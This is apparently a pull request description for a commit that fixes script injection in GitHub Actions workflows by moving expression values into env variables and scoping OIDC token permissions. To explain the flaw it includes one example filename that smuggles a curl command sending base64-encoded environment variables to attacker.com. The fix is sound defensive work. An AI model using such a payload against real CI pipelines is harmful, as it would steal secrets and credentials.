fix(terraform): prevent script injection via env var isolation (#2679)

## Summary
Audit of `.github/workflows/` identified two files where GitHub Actions
expressions (`${{ }}`) are interpolated directly into bash `run:`
scripts. This is the script injection class documented by [GitHub
Security
Lab](https://securitylab.github.com/research/github-actions-untrusted-input/).

This PR applies the recommended mitigation across all affected steps:
pass expression values through `env:` block variables instead of inline
interpolation. When assigned via `env:`, the value is treated as a plain
string by the shell — metacharacters are never evaluated as commands.

---

## Files Changed
### 1. `.github/workflows/terraform.yml` — **Critical** (3 fixes)

**Fix 1 - Env var isolation for `tj-actions/changed-files` outputs**

The `Extract Orgs` step interpolated action outputs directly into bash:

```yaml
# BEFORE (vulnerable):
run: |
  CHANGED="${{ steps.changed-files.outputs.all_changed_files }}"
  DELETED="${{ steps.changed-files.outputs.deleted_files }}"
tj-actions/changed-files outputs filenames from the PR branch — fully attacker-controlled. A filename like: buildkite/terraform/bazel/$(curl https://attacker.com/exfil?d=$(env|base64)) would be evaluated as a shell command by bash.

# AFTER (safe):
env:
  ALL_CHANGED_FILES: ${{ steps.changed-files.outputs.all_changed_files }}
  ALL_DELETED_FILES: ${{ steps.changed-files.outputs.deleted_files }}
run: |
  CHANGED="$ALL_CHANGED_FILES"
  DELETED="$ALL_DELETED_FILES"

Fix 2 - Scope id-token: write to terraform job only
id-token: write was set at workflow level, making OIDC tokens available to all jobs including detect-changes which processes untrusted filenames. Moved to job-level permissions on terraform only.
# BEFORE: id-token: write at workflow level → detect-changes also gets OIDC
permissions:
  contents: read
  id-token: write
  pull-requests: write

# AFTER: workflow-level has minimum permissions
permissions:
  contents: read
  pull-requests: write

terraform:
  permissions:
    contents: read
    id-token: write  # ← only this job needs GCP WIF

2. .github/workflows/release-rules.yml — Low (2 fixes)
Two inline ${{ }} expressions in run: blocks replaced with env vars:
- ${{ env.RULES_VERSION }} in the version echo step
- ${{ needs.create-release.outputs.rules_version }} in the staging dir name

References
- https://securitylab.github.com/research/github-actions-untrusted-input/
- go/github-security

Co-authored-by: Salma Samy <16399431+SalmaSamy@users.noreply.github.com>
2 files changed